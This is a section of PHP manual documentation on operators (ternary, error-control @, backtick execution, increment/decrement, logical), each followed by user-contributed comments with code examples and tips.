This make "'Hello, ' . isset($i)" the sentence to evaluate. So, if you think to mix more sentences with the ?: operator, please use always parentheses to force the proper evaluation of the sentence.

<?php
echo 'Hello, ' . (isset($i) ? 'my friend: ' . $username . ', how are you doing?' : 'my guest, ' . $guestusername . ', please register');
?>

for general rule, if you mix ?: with other sentences, always close it with parentheses.
jeronimo at DELETE_THIS dot transartmedia dot com 02-Jul-2004 01:01
For converted Perl programmers: use strict comparison operators (===, !==) in place of string comparison operators (eq, ne). Don't use the simple equality operators (==, !=), because ($a == $b) will return TRUE in many situations where ($a eq $b) would return FALSE.

For instance...
"mary" == "fred" is FALSE, but
"+010" == "10.0" is TRUE (!)

In the following examples, none of the strings being compared are identical, but because PHP *can* evaluate them as numbers, it does so, and therefore finds them equal...

<?php

echo ("007" == "7" ? "EQUAL" : "not equal");
// Prints: EQUAL

// Surrounding the strings with single quotes (') instead of double
// quotes (") to ensure the contents aren't evaluated, and forcing
// string types has no effect.
echo ( (string)'0001' == (string)'+1.' ? "EQUAL" : "not equal");
// Prints: EQUAL

// Including non-digit characters (like leading spaces, "e", the plus
// or minus sign, period, ...) can still result in this behavior, if
// a string happens to be valid scientific notation.
echo ('  131e-2' == '001.3100' ? "EQUAL" : "not equal");
// Prints: EQUAL

?>

If you're comparing passwords (or anything else for which "near" precision isn't good enough) this confusion could be detrimental. Stick with strict comparisons...

<?php

// Same examples as above, using === instead of ==

echo ("007" === "7" ? "EQUAL" : "not equal");
// Prints: not equal

echo ( (string)'0001' === (string)'+1.' ? "EQUAL" : "not equal");
// Prints: not equal

echo ('  131e-2' === '001.3100' ? "EQUAL" : "not equal");
// Prints: not equal

?>
webmaster __AT__ digitalanime __DOT__ nl 14-Apr-2004 12:31
WARNING!!!!

Let's say, we have this little script:

<?php
$username = 'Me';
$guestusername = 'Guest';

echo 'Hello, ' . isset($i) ? 'my friend: ' . $username . ', how are you doing?' : 'my guest, ' . $guestusername . ', please register';
?>

What you want:
If $i is set, display:
Hello, my friend: Me, how are you doing?
If not, display:
Hello, my guest, Guest, please register

BUT, you DON'T get that result!

If $i is set, you get this:
my friend: Me, how are you doing? (so, there's not "Hello, " before it)
If $i is NOT set, you get this:
my friend: Me, how are you doing?

So... That's the same!

You can solve this by using the "(" and ")" to give priority to the ternary operator:

<?php
$username = 'Me';
$guestusername = 'Guest';

echo 'Hello, ' . (isset($i) ? 'my friend: ' . $username . ', how are you doing?' : 'my guest, ' . $guestusername . ', please register');
?>

When $i is set, you get this:
Hello, my friend: Me, how are you doing? (expected)
When $i is NOT set, you get this:
Hello, my guest, Guest, please register (expected too)

So.. Please, don't be dumb and ALWAYS use the priority-signs (or.. How do you call them?), ( and ).
By using them, you won't get unneeded trouble and always know for sure your code is doing what you want: The right thing.
user@example 04-Apr-2004 12:17
With Nested ternary Operators you have to set the logical  parentheses to get the correct result.

<?php
$test=true;
$test2=true;

($test) ? "TEST1 true" :  ($test2) ? "TEST2 true" : "false";
?>
This will output: TEST2 true;

correct:

<?php
$test=true;
$test2=true;

($test) ? "TEST1 true" : (($test2) ? "TEST2 true" : "false");
?>

Anyway don't nest them to much....!!
jwhiting at hampshire dot edu 10-Dec-2003 12:31
note: the behavior below is documented in the appendix K about type comparisons, but since it is somewhat buried i thought i should raise it here for people since it threw me for a loop until i figured it out completely.

just to clarify a tricky point about the == comparison operator when dealing with strings and numbers:

('some string' == 0) returns TRUE

however, ('123' == 0) returns FALSE

also note that ((int) 'some string') returns 0

and ((int) '123') returns 123

the behavior makes senes but you must be careful when comparing strings to numbers, e.g. when you're comparing a request variable which you expect to be numeric. its easy to fall into the trap of:

if ($_GET['myvar']==0) dosomething();

as this will dosomething() even when $_GET['myvar'] is 'some string' and clearly not the value 0

i was getting lazy with my types since php vars are so flexible, so be warned to pay attention to the details...


Error Control Operators

PHP supports one error control operator: the at sign (@). When prepended to an expression in PHP, any error messages that might be generated by that expression will be ignored.

If you have set a custom error handler function with set_error_handler() then it will still get called, but this custom error handler can (and should) call error_reporting() which will return 0 when the call that triggered the error was preceded by an @.

If the track_errors feature is enabled, any error message generated by the expression will be saved in the variable $php_errormsg. This variable will be overwritten on each error, so check early if you want to use it.

<?php
/* Intentional file error */
$my_file = @file ('non_existent_file') or
    die ("Failed opening file: error was '$php_errormsg'");

// this works for any expression, not just functions:
$value = @$cache[$key];
// will not issue a notice if the index $key doesn't exist.

?>

Note: The @-operator works only on expressions. A simple rule of thumb is: if you can take the value of something, you can prepend the @ operator to it. For instance, you can prepend it to variables, function and include calls, constants, and so forth. You cannot prepend it to function or class definitions, or conditional structures such as if and foreach, and so forth.

See also error_reporting() and the manual section for Error Handling and Logging functions.

Warning

Currently the "@" error-control operator prefix will even disable error reporting for critical errors that will terminate script execution. Among other things, this means that if you use "@" to suppress errors from a certain function and either it isn't available or has been mistyped, the script will die right there with no indication as to why.

User Contributed Notes

manisha at mindfiresolutions dot com 12-Oct-2014 06:25
Prepending @ before statement like you are doing a crime with yourself.
Anonymous 14-Feb-2014 08:24
I was wondering if anyone (else) might find a directive to disable/enable to error operator would be a useful addition. That is, instead of something like (which I have seen for a few places in some code):

<?php

if (defined(PRODUCTION)) {
    @function();
}
else {
    function();
}

?>

There could be something like this:

<?php

if (defined(PRODUCTION)) {
    ini_set('error.silent',TRUE);
}
else {
    ini_set('error.silent',FALSE);
}

?>
Anonymous 05-Aug-2013 10:05
This operator is affectionately known by veteran phpers as the stfu operator.
bohwaz 22-Jun-2011 03:27
If you use the ErrorException exception to have a unified error management, I'll advise you to test against error_reporting in the error handler, not in the exception handler as you might encounter some headaches like blank pages as error_reporting might not be transmitted to exception handler.

So instead of :

<?php

function exception_error_handler($errno, $errstr, $errfile, $errline )
{
    throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
}

set_error_handler("exception_error_handler");

function catchException($e)
{
    if (error_reporting() === 0)
    {
        return;
    }

    // Do some stuff
}

set_exception_handler('catchException');

?>

It would be better to do :

<?php

function exception_error_handler($errno, $errstr, $errfile, $errline )
{
    if (error_reporting() === 0)
    {
        return;
    }

    throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
}

set_error_handler("exception_error_handler");

function catchException($e)
{
    // Do some stuff
}

set_exception_handler('catchException');

?>
anthon at piwik dot org 20-Feb-2011 09:39
If you're wondering what the performance impact of using the @ operator is, consider this example.  Here, the second script (using the @ operator) takes 1.75x as long to execute...almost double the time of the first script.

So while yes, there is some overhead, per iteration, we see that the @ operator added only .005 ms per call.  Not reason enough, imho, to avoid using the @ operator.

<?php
function x() { }
for ($i = 0; $i < 1000000; $i++) { x(); }
?>

real    0m7.617s
user    0m6.788s
sys    0m0.792s

vs

<?php
function x() { }
for ($i = 0; $i < 1000000; $i++) { @x(); }
?>

real    0m13.333s
user    0m12.437s
sys    0m0.836s
auser at anexample dot com 08-Sep-2010 01:02
Be aware that using @ is dog-slow, as PHP incurs overhead to suppressing errors in this way. It's a trade-off between speed and convenience.
darren at powerssa dot com 14-Jul-2010 06:33
After some time investigating as to why I was still getting errors that were supposed to be suppressed with @ I found the following.

1. If you have set your own default error handler then the error still gets sent to the error handler regardless of the @ sign.

2. As mentioned below the @ suppression only changes the error level for that call. This is not to say that in your error handler you can check the given $errno for a value of 0 as the $errno will still refer to the TYPE(not the error level) of error e.g. E_WARNING or E_ERROR etc

3. The @ only changes the rumtime error reporting level just for that one call to 0. This means inside your custom error handler you can check the current runtime error_reporting level using error_reporting() (note that one must NOT pass any parameter to this function if you want to get the current value) and if its zero then you know that it has been suppressed.
<?php
// Custom error handler
function myErrorHandler($errno, $errstr, $errfile, $errline)
{
    if ( 0 == error_reporting () ) {
        // Error reporting is currently turned off or suppressed with @
        return;
    }
    // Do your normal custom error reporting here
}
?>

For more info on setting a custom error handler see: http://php.net/manual/en/function.set-error-handler.php
For more info on error_reporting see: http://www.php.net/manual/en/function.error-reporting.php
M. T. 11-Oct-2009 06:20
Be aware of using error control operator in statements before include() like this:

<?PHP

(@include("file.php"))
 OR die("Could not find file.php!");

?>

This cause, that error reporting level is set to zero also for the included file. So if there are some errors in the included file, they will be not displayed.
dsbeam at gmail dot com 02-Sep-2009 04:22
Though error suppression can be dangerous at times, it can be useful as well.  I've found the following statements roughly equivalent:

     if( isset( $var ) && $var === $something )
     if( @$var === $something )

EXCEPT when you're comparing against a boolean value (when $something is false).  In that case, if it's not set the conditional will still be triggered.

I've found this useful when I want to check a value that might not exist:

     if( @$_SERVER[ 'HTTP_REFERER' ] !== '/www/some/path/file' )

or when we want to see if a checkbox / radio button have been submitted with a post action

     if( @$_POST[ 'checkbox' ] === 'yes' )

Just letting you guys know my findings, :)
gerrywastaken 19-May-2009 10:46
Error suppression should be avoided if possible as it doesn't just suppress the error that you are trying to stop, but will also suppress errors that you didn't predict would ever occur. This will make debugging a nightmare.

It is far better to test for the condition that you know will cause an error before preceding to run the code. This way only the error that you know about will be suppressed and not all future errors associated with that piece of code.

There may be a good reason for using outright error suppression in favor of the method I have suggested, however in the many years I've spent programming web apps I've yet to come across a situation where it was a good solution. The examples given on this manual page are certainly not situations where the error control operator should be used.
taras dot dot dot di at gmail dot com 12-Aug-2008 05:29
I was confused as to what the @ symbol actually does, and after a few experiments have concluded the following:

* the error handler that is set gets called regardless of what level the error reporting is set on, or whether the statement is preceeded with @

* it is up to the error handler to impart some meaning on the different error levels. You could make your custom error handler echo all errors, even if error reporting is set to NONE.

* so what does the @ operator do? It temporarily sets the error reporting level to 0 for that line. If that line triggers an error, the error handler will still be called, but it will be called with an error level of 0

Hope this helps someone
beatngu 27-May-2008 11:29
NB The @ operator doesn't work when throwing errors as exceptions using the ErrorException class
nospam at blog dot fileville dot net 03-Jan-2007 08:58
If you want to log all the error messages for a php script from a session you can use something like this:
<?php
 session_start();
  function error($error, $return=FALSE) {
      global $php_errormsg;
      if(isset($_SESSION['php_errors'])) {
        $_SESSION['php_errors'] = array();
    }
  $_SESSION['php_errors'][] = $error; // Maybe use $php_errormsg
  if($return == TRUE) {
    $message = "";
       foreach($_SESSION['php_errors'] as $php_error) {
          $messages .= $php_error."\n";
     }
    return $messages; // Or you can use use $_SESSION['php_errors']
  }
}
?>
Hope this helps someone...
13-Dec-2006 02:52
error_reporting()==0 for detecting the @ error suppression assumes that you did not set the error level to 0 in the first place.

However, typically if you want to set your own error handler, you would set the error_reporting to 0. Therefore, an alternative to detect the @ error suppression is required.
programming at kennebel dot com 13-Oct-2006 03:38
To suppress errors for a new class/object:

<?php
// Tested: PHP 5.1.2 ~ 2006-10-13

// Typical Example
$var = @some_function();

// Class/Object Example
$var = @new some_class();

// Does NOT Work!
//$var = new @some_class(); // syntax error
?>

I found this most useful when connecting to a
database, where i wanted to control the errors
and warnings displayed to the client, while still
using the class style of access.
me at hesterc dot fsnet dot co dot uk 03-Mar-2005 05:25
If you wish to display some text when an error occurs, echo doesn't work. Use print instead. This is explained on the following link 'What is the difference between echo and print?':

http://www.faqts.com/knowledge_base/view.phtml/aid/1/fid/40

It says "print can be used as part of a more complex expression where echo cannot".

Also, you can add multiple code to the result when an error occurs by separating each line with "and". Here is an example:

<?php
$my_file = @file ('non_existent_file') or print 'File not found.' and $string = ' Honest!' and print $string and $fp = fopen ('error_log.txt', 'wb+') and fwrite($fp, $string) and fclose($fp);
?>

A shame you can't use curly brackets above to enclose multiple lines of code, like you can with an if statement or a loop. It could make for a single long line of code. You could always call a function instead.
frogger at netsurf dot de 26-Dec-2004 05:19
Better use the function trigger_error() (http://de.php.net/manual/en/function.trigger-error.php)
to display defined notices, warnings and errors than check the error level your self. this lets you write messages to logfiles if defined in the php.ini, output
messages in dependency to the error_reporting() level and suppress output using the @-sign.


Execution Operators

PHP supports one execution operator: backticks (``). Note that these are not single-quotes! PHP will attempt to execute the contents of the backticks as a shell command; the output will be returned (i.e., it won't simply be dumped to output; it can be assigned to a variable). Use of the backtick operator is identical to shell_exec().

<?php
$output = `ls -al`;
echo "<pre>$output</pre>";
?>

Note:

The backtick operator is disabled when safe mode is enabled or shell_exec() is disabled.

Note:

Unlike some other languages, backticks cannot be used within double-quoted strings.

See also the manual section on Program Execution functions, popen() proc_open(), and Using PHP from the commandline.

User Contributed Notes

Anonymous 22-Mar-2013 08:11
escapeshellarg()

if you're usimg popen, `` exec or anything else which takes a command-line
use escapeshellarg() on any variable parts, or risk being pwned.
inform dot to dot kannan at gmail dot com 31-Aug-2012 01:21
You can use the backtick operator on windows to run windows command too and it is not restricted only to execute the exe.
Example:
<?php
$output = `dir`;
echo "<pre>$output</pre>";
?>
It lists all the files in the directory
robert 01-Mar-2006 08:25
Just a general usage note.  I had a very difficult time solving a problem with my script, when I accidentally put one of these backticks at the beginning of a line, like so:

[lots of code]
`    $URL = "blah...";
[more code]

Since the backtick is right above the tab key, I probably just fat-fingered it while indenting the code.

What made this so hard to find, was that PHP reported a parse error about 50 or so lines *below* the line containing the backtick.  (There were no other backticks anywhere in my code.)  And the error message was rather cryptic:

Parse error: parse error, expecting `T_STRING' or `T_VARIABLE' or `T_NUM_STRING' in /blah.php on line 446

Just something to file away in case you're pulling your hair out trying to find an error that "isn't there."
cs at kainaw dot com 29-Dec-2005 11:55
After much trouble, I have concluded that the backtick operator (and shell_exec) have a limited buffer for the return.  My problem was that I was grepping a file with over 500,000 lines, receiving a response with well over 100,000 lines.  After a short pause, I was flooded with errors from grep about the pipe being closed.

I have searched, but I cannot find the exact size of the buffer used by the backtick operator and shell_exec.  So, to avoid this error, you must limit the output of your commands (such as using -m with grep).  Through trial and error, you can get the command to run without error.
vdboor at codingdomain dot com 23-Nov-2005 09:10
Note that most OS-es define two channels for file-output, the stdout and stderr (standard out and standard error). To read the data sent to stderr too, include 2>&1 in the backticks.
aaron dot bentley at utoronto dot ca 21-Jul-2003 01:45
waylanator's example can be dangerous, since it doesn't prevent characters with special meaning from being emitted to the commandline.  Programming errors or untrusted data could cause serious problems.  At the bare minimum, remove all non-alphanumeric characters before passing a string to the shell.  escapeshellarg() is also useful in *nix environments, but usually the best approach is to bypass the shell, using exec() etc.
waylanator no at spam hotmail dot com 14-Feb-2003 06:12
In Windows it appears you can only call an executable file that resides in the system path which is defined by Windows.  As a workaround you can place a batch file in the system path that calls the program from it's dir. Just make sure to use short MS-DOS file and dir names.
For example:
If you were calling the file c:\program files\my program\program.exe do this:

mybat.bat look like this:
_________
@echo off
c:\progra~1\myprog~1\program.exe
_________

Save mybat.bat in c:\ or c:\windows or any other dir in the system path as defined by windows.

Then in php call the batch file:
_________
<?php
$test = `c:\mybat.bat`;
echo "<pre>$test</pre>";
?>
_________

That should do it.
Of course this will only work for a program you can run from the MS-DOS command prompt, but (as I understant it) that goes for any executable you call with PHP anyway.
Tested in Win98 running Apache 1.3.27 and PHP 4.3.0
reed-NO at SPAM-zerohour dot net 13-Mar-2002 09:45
When a program is run using backticks, and the user cancels page loading (if your program is taking too long!), the shell running the program (the one in the backticks) may continue indefinitely on the server. I do not know if this is a bug, or just a danger of using this feature.  (It may depend on the way the browser "cancels" the request -- it was a problem on both IE and OmniWeb for the Mac).  Beware!


Incrementing/Decrementing Operators

PHP supports C-style pre- and post-increment and decrement operators.

Note: The increment/decrement operators only affect numbers and strings. Arrays, objects and resources are not affected. Decrementing NULL values has no effect too, but incrementing them results in 1.

Increment/decrement Operators
Example | Name | Effect
++$a | Pre-increment | Increments $a by one, then returns $a.
$a++ | Post-increment | Returns $a, then increments $a by one.
--$a | Pre-decrement | Decrements $a by one, then returns $a.
$a-- | Post-decrement | Returns $a, then decrements $a by one.

Here's a simple example script:

<?php
echo "<h3>Postincrement</h3>";
$a = 5;
echo "Should be 5: " . $a++ . "<br />\n";
echo "Should be 6: " . $a . "<br />\n";

echo "<h3>Preincrement</h3>";
$a = 5;
echo "Should be 6: " . ++$a . "<br />\n";
echo "Should be 6: " . $a . "<br />\n";

echo "<h3>Postdecrement</h3>";
$a = 5;
echo "Should be 5: " . $a-- . "<br />\n";
echo "Should be 4: " . $a . "<br />\n";

echo "<h3>Predecrement</h3>";
$a = 5;
echo "Should be 4: " . --$a . "<br />\n";
echo "Should be 4: " . $a . "<br />\n";
?>

PHP follows Perl's convention when dealing with arithmetic operations on character variables and not C's. For example, in PHP and Perl $a = 'Z'; $a++; turns $a into 'AA', while in C a = 'Z'; a++; turns a into '[' (ASCII value of 'Z' is 90, ASCII value of '[' is 91). Note that character variables can be incremented but not decremented and even so only plain ASCII alphabets and digits (a-z, A-Z and 0-9) are supported. Incrementing/decrementing other character variables has no effect, the original string is unchanged.

Example #1 Arithmetic Operations on Character Variables

<?php
echo '== Alphabets ==' . PHP_EOL;
$s = 'W';
for ($n=0; $n<6; $n++) {
    echo ++$s . PHP_EOL;
}
// Digit characters behave differently
echo '== Digits ==' . PHP_EOL;
$d = 'A8';
for ($n=0; $n<6; $n++) {
    echo ++$d . PHP_EOL;
}
$d = 'A08';
for ($n=0; $n<6; $n++) {
    echo ++$d . PHP_EOL;
}
?>

The above example will output:

== Characters ==
X
Y
Z
AA
AB
AC
== Digits ==
A9
B0
B1
B2
B3
B4
A09
A10
A11
A12
A13
A14

Incrementing or decrementing booleans has no effect.

User Contributed Notes

aluciffer at hotmail dot com 10-Oct-2014 06:27
Regarding character incrementing and PHP following Perl's convention with character operations.
Actually i found that there is a difference, and incrementing and decrementing unfortunately does not yield the reverse, expected results.
For example, the following piece of code:
<?php
echo '== Alphabets ==' . PHP_EOL;
$s = 'W';
for ($n=0; $n<10; $n++) {
    echo ++$s . ' ';
}
echo PHP_EOL;

for ($n=10; $n>0; $n--) {
    echo (--$s) . ' ';
}
?>
Will output:
== Alphabets ==
X Y Z AA AB AC AD AE AF AG
AG AG AG AG AG AG AG AG AG AG

Please note that the decrement operator has no effect on the character or string.

On the other hand, in Perl, the similar script:

#!/usr/bin/perl

my $s = 'W';

foreach (1 .. 10) {
print  ++$s . " ";
}

print "\n";

foreach (1 .. 10) {
print --$s . " ";
}

Will output:

X Y Z AA AB AC AD AE AF AG
-1 -2 -3 -4 -5 -6 -7 -8 -9 -10
michiel ed thalent circle nl 24-Aug-2012 04:39
BEWARE:

If incrementing an uninitialized variable you will not get an E_NOTICE error. This may caused you to not find issue's like the visibility of a property.

<?php
class a {
    private $foo = 1;
}

class b extends a {
    public function inc() {
        echo ++$this->foo;
    }
}

$b = new b;
$b->inc();
?>

Will output 1 and not 2 (if $foo was accessible).
Also no notices are given.
hartmut at php dot net 03-Aug-2012 12:28
Note that

$a="9D9"; var_dump(++$a);   => string(3) "9E0"

but counting onwards from there

$a="9E0"; var_dump(++$a);   => float(10)

this is due to "9E0" being interpreted as a string representation of the float constant 9E0 (or 9e0), and thus evalutes to 9 * 10^0 = 9 (in a float context)
johnnythan at nospam dot gmx dot com 22-Nov-2011 01:05
If you have a trailing zero and use the increment, the trailing zero will not remain. Was at least unexpected for me at first, although it's logical if you think about it.

<?php
$start = '01';
$start++;
print $start; //Outputs '2' not '02'
?>
Brad Proctor 07-Nov-2010 05:51
I ran some tests (on PHP 5.3.3) of my own and was surprised to find $i += 1 to be the fastest method of incrementing.  Here are the methods fastest to slowest:

$i += 1;
++$i;
$i++;
$i = $i + 1;
dsbeam at gmail dot com 01-Sep-2009 12:35
When using the ++ operator by itself on a variable, ++$var is faster than $var++ and uses slightly less memory (in my experiments).  It would seem like this could be optimized in the language during runtime (if $var++ is the only thing in the whole statement, it could be treated as ++$var).

I conducted many tests (I believe to be fair), and here's one of the results:

$i++ took 8.47515535355 seconds and 2360 bytes
++$i took 7.80081486702 seconds and 2160 bytes

Here's my code.  If anyone sees a bias in it, tell me.  I conducted it many times, each time going through a loop one million iterations and doing each test 10 - 15 times (10 - 15 million uses of the ++ operator).

<?php

ini_set( 'MAX_EXEC_TIME', 120 );
ob_start( );

$num_tests = 10;
$startFirst = $startSecond = $endFirst = $endSecond = $startFirstMemory = $endFirstMemory = $startSecondMemory = $endSecondMemory = $someVal = 0;
$times = array( '$i++' => array( 'time' => 0, 'memory' => 0 ), '++$i' => array( 'total' => 0, 'memory' => 0 ) );

for( $j = 0; $j < $num_tests; ++$j )
{
        for( $i = 0, $startFirstMemory = memory_get_usage( ), $startFirst = microtime( true ); $i < 10000000; $i++ ){ $someval = 2; }
        $endFirstMemory = memory_get_usage( );
        $endFirst = microtime( true );

        for( $i = 0, $startSecondMemory = memory_get_usage( ), $startSecond = microtime( true ); $i < 10000000; ++$i ){ $someval = 2; }
        $endSecondMemory = memory_get_usage( );
        $endSecond = microtime( true );

        $times[ '$i++' ][ $j ] = array( 'startTime' => $startFirst, 'endTime' => $endFirst, 'startMemory' => $startFirstMemory, 'endMemory' => $endFirstMemory );
        $times[ '++$i' ][ $j ] = array( 'startTime' => $startSecond, 'endTime' => $endSecond, 'startMemory' => $startSecondMemory, 'endMemory' => $endSecondMemory );
}

for( $i = 0; $i < $num_tests; ++$i )
{
        $times[ '$i++' ][ 'time' ] += ( $times[ '$i++' ][ $i ][ 'endTime' ] - $times[ '$i++' ][ $i ][ 'startTime' ] );
        $times[ '++$i' ][ 'time' ] += ( $times[ '++$i' ][ $i ][ 'endTime' ] - $times[ '++$i' ][ $i ][ 'startTime' ] );
        $times[ '$i++' ][ 'memory' ] += ( $times[ '$i++' ][ $i ][ 'endMemory' ] - $times[ '$i++' ][ $i ][ 'startMemory' ] );
        $times[ '++$i' ][ 'memory' ] += ( $times[ '++$i' ][ $i ][ 'endMemory' ] - $times[ '++$i' ][ $i ][ 'startMemory' ] );
}

echo 'There were ' . $num_tests . ' tests conducted, here\'s the totals<br /><br />
$i++ took ' . $times[ '$i++' ][ 'time' ] . ' seconds and ' . $times[ '$i++' ][ 'memory' ] . ' bytes<br />
++$i took ' . $times[ '++$i' ][ 'time' ] . ' seconds and ' . $times[ '++$i' ][ 'memory' ] . ' bytes';

ob_end_flush( );

?>

Try it yourself, ;)
sneskid at hotmail dot com 08-Aug-2009 12:49
(related to what "Are Pedersen" wrote)
With arrays it can lead to much confusion if your index variable is altered on the right side of the = sign, either with ++|-- or even when passed to a function by reference..
Consider these (PHP 5):
<?php
$A[$a] = ++$a; // [1]=1
$B[++$b] = ++$b; // [1]=2
$C[$c+=0] = ++$c; // [0]=1
?>
In 'A' you have to be aware that PHP evaluates $A[$a] last.
Yet in 'B' and 'C' PHP evaluates the index and saves it in a temporary variable.

You can always force PHP to evaluate a variable without explicitly storing it as a named variable first, with a simple "+=0" like in example 'C'.

Compared to 'A', 'C' gives the more logically expected result, when we expect evaluation occurs left to right.
PHP does evaluate left to right BUT it will attempt to cut down on temporary variables, which can lead to confusing results.

So just be aware and use either behavior to your advantage for the desired functionality.
cleong at letstalk dot com 18-Oct-2001 04:52
Note that the ++ and -- don't convert a boolean to an int. The following code will loop forever.

function a($start_index) {
for($i = $start_index; $i < 10; $i++) echo "\$i = $i\n";
}

a(false);

This behavior is, of course, very different from that in C. Had me pulling out my hair for a while.
fred at surleau dot com 18-Jul-2001 09:02
Other samples :
$l="A";      $l++; -> $l="B"
$l="A0";     $l++; -> $l="A1"
$l="A9";     $l++; -> $l="B0"
$l="Z99";    $l++; -> $l="AA00"
$l="5Z9";    $l++; -> $l="6A0"
$l="9Z9";    $l++; -> $l="10A0"
$l="9z9";    $l++; -> $l="10a0"
$l="J85410"; $l++; -> $l="J85411"
$l="J99999"; $l++; -> $l="K00000"
$l="K00000"; $l++; -> $l="K00001"


Logical Operators

Logical Operators
Example | Name | Result
$a and $b | And | TRUE if both $a and $b are TRUE.
$a or $b | Or | TRUE if either $a or $b is TRUE.
$a xor $b | Xor | TRUE if either $a or $b is TRUE, but not both.
! $a | Not | TRUE if $a is not TRUE.
$a && $b | And | TRUE if both $a and $b are TRUE.
$a || $b | Or | TRUE if either $a or $b is TRUE.

The reason for the two different variations of "and" and "or" operators is that they operate at different precedences. (See Operator Precedence.)

Example #1 Logical operators illustrated

<?php

// --------------------
// foo() will never get called as those operators are short-circuit

$a = (false && foo());
$b = (true  || foo());
$c = (false and foo());
$d = (true  or  foo());

// --------------------
// "||" has a greater precedence than "or"

// The result of the expression (false || true) is assigned to $e
// Acts like: ($e = (false || true))
$e = false || true;

// The constant false is assigned to $f and then true is ignored
// Acts like: (($f = false) or true)
$f = false or true;

var_dump($e, $f);

// --------------------
// "&&" has a greater precedence than "and"

// The result of the expression (true && false) is assigned to $g
// Acts like: ($g = (true && false))
$g = true && false;

// The constant true is assigned to $h and then false is ignored
// Acts like: (($h = true) and false)
$h = true and false;

var_dump($g, $h);
?>

The above example will output something similar to:

bool(true)
bool(false)
bool(false)
bool(true)

User Contributed Notes

anatoliy at ukhvanovy dot name 12-Jun-2014 10:41
If you want to use the '||' operator to set a default value, like this:

<?php
$a = $fruit || 'apple'; //if $fruit evaluates to FALSE, then $a will be set to TRUE (because (bool)'apple' == TRUE)
?>

instead, you have to use the '?:' operator:

<?php
$a = ($fruit ? $fruit : 'apple');//if $fruit evaluates to FALSE, then $a will be set to 'apple'
?>

But $fruit will be evaluated twice, which is not desirable. For example fruit() will be called twice:
<?php
function fruit($confirm) {
    if($confirm)
        return 'banana';
}
$a = (fruit(1) ? fruit(1) : 'apple');//fruit() will be called twice!
?>

But since «since PHP 5.3, it is possible to leave out the middle part of the ternary operator» (http://www.php.net/manual/en/language.operators.comparison.php#language.operators.comparison.ternary), now you can code like this:

<?php
$a = ($fruit ? : 'apple'); //this will evaluate $fruit only once, and if it evaluates to FALSE, then $a will be set to 'apple'
?>

But remember that a non-empty string '0' evaluates to FALSE!

<?php
$fruit = '1';
$a = ($fruit ? : 'apple'); //this line will set $a to '1'
$fruit = '0';
$a = ($fruit ? : 'apple'); //this line will set $a to 'apple', not '0'!
?>
tekreme73 at hotmail dot fr 07-May-2014 12:08
// Operators &= and |= work as well

// "a &= b"  <=>  "a = a && b" <=> "a = a AND b"
// "a |= b"  <=>  "a = a || b" <=> "a = a OR b"

$res = true;
var_dump($res);

$res &= false;
var_dump($res);

$res |= true;
var_dump($res);

// This code will display :
bool(true)
bool(false)
bool(true)
void at informance dot info 17-Apr-2014 07:53
To assign default value in variable assignation, the simpliest solution to me is:

<?php
$v = my_function() or $v = "default";
?>

It works because, first, $v is assigned the return value from my_function(), then this value is evaluated as a part of a logical operation:
* if the left side is false, null, 0, or an empty string, the right side must be evaluated and, again, because 'or' has low precedence, $v is assigned the string "default"
* if the left side is none of the previously mentioned values, the logical operation ends and $v keeps the return value from my_function()

This is almost the same as the solution from [phpnet at zc dot webhop dot net], except that his solution (parenthesis and double pipe) doesn't take advantage of the "or" low precedence.

NOTE: "" (the empty string) is evaluated as a FALSE logical operand, so make sure that the empty string is not an acceptable value from my_function(). If you need to consider the empty string as an acceptable return value, you must go the classical "if" way.
brian at zickzickzick dot com 20-Jul-2013 12:23
This has been mentioned before, but just in case you missed it:

<?php
    // Defaults --

    //If you're trying to gat 'Jack' from:
    $jack = false or 'Jack';

    // Try:
    $jack = false or $jack = 'Jack';

    //The other option is:
    $jack = false ? false : 'Jack';
?>
dartello at gmail dot com 12-Dec-2012 11:35
Unlike in C/C++ the invertor (Not) in PHP assumes a string:

<?php
$a = 1;

$t = !$a;
var_dump($t);
?>

The above example will output:
 string(0) => ""

To approach the C/C++ handling, this can be solved as follows:

<?php
$a = 1;

(int) $t = !$a;
var_dump($t);

(bool) $u = !a;
var_dump($u);
?>

The above example will output:
int(0)
bool(false)
phpnet at zc dot webhop dot net 08-Dec-2012 12:07
This works similar to javascripts short-curcuit assignments and setting defaults. (e.g.  var a = getParm() || 'a default';)

<?php

($a = $_GET['var']) || ($a = 'a default');

?>

$a gets assigned $_GET['var'] if there's anything in it or it will fallback to 'a default'
Parentheses are required, otherwise you'll end up with $a being a boolean.
momrom at freenet dot de 19-Apr-2009 05:32
Evaluation of logical expressions is stopped as soon as the result is known.
If you don't want this, you can replace the and-operator by min() and the or-operator by max().

<?php
function a($x) { echo 'Expression '; return $x; }
function b($x) { echo 'is '; return $x; }
function c($x) { echo $x ? 'true.' : 'false.' ;}

c( a( false ) and b( true ) ); // Output: Expression false.
c( min( a( false ), b( true ) ) ); // Output: Expression is false.

c( a( true ) or b( true ) ); // Output: Expression true.
c( max( a( true ), b( true ) ) ); // Output: Expression is true.
?>

This way, values aren't automaticaly converted to boolean like it would be done when using and or or. Therefore, if you aren't sure the values are already boolean, you have to convert them 'by hand':

<?php
c( min( (bool) a( false ), (bool) b( true ) ) );
?>
pepesantillan at gmail dot com 24-Dec-2007 12:23
worth reading for people learning about php and programming: (adding extras <?php ?> to get highlighted code)

about the following example in this page manual:
Example#1 Logical operators illustrated

...
<?php
// "||" has a greater precedence than "or"
$e = false || true; // $e will be assigned to (false || true) which is true
$f = false or true; // $f will be assigned to false
var_dump($e, $f);

// "&&" has a greater precedence than "and"
$g = true && false; // $g will be assigned to (true && false) which is false
$h = true and false; // $h will be assigned to true
var_dump($g, $h);
?>
_______________________________________________end of my quote...

If necessary, I wanted to give further explanation on this and say that when we write:
$f = false or true; // $f will be assigned to false
the explanation:

"||" has a greater precedence than "or"

its true. But a more acurate one would be

"||" has greater precedence than "or" and than "=", whereas "or" doesnt have greater precedence than "=", so

<?php
$f = false or true;

//is like writting

($f = false ) or true;

//and

$e = false || true;

is the same as

$e = (false || true);

?>

same goes for "&&" and "AND".

If you find it hard to remember operators precedence you can always use parenthesys - "(" and ")". And even if you get to learn it remember that being a good programmer is not showing you can do code with fewer words. The point of being a good programmer is writting code that is easy to understand (comment your code when necessary!), easy to maintain and with high efficiency, among other things.
paranoiq at centrum dot cz 19-Nov-2007 05:00
and, or and xor can be used as conditional constructs:

<?php
// do_that() is executed only if do_this() returns false
if($something) do_this() or do_that();
// $b is assigned to $b, do_that() is executed if $b is false
if($something) $a = $b or do_that();

// do_that() is executed only if do_this() returns true
if($something) do_this() and do_that();
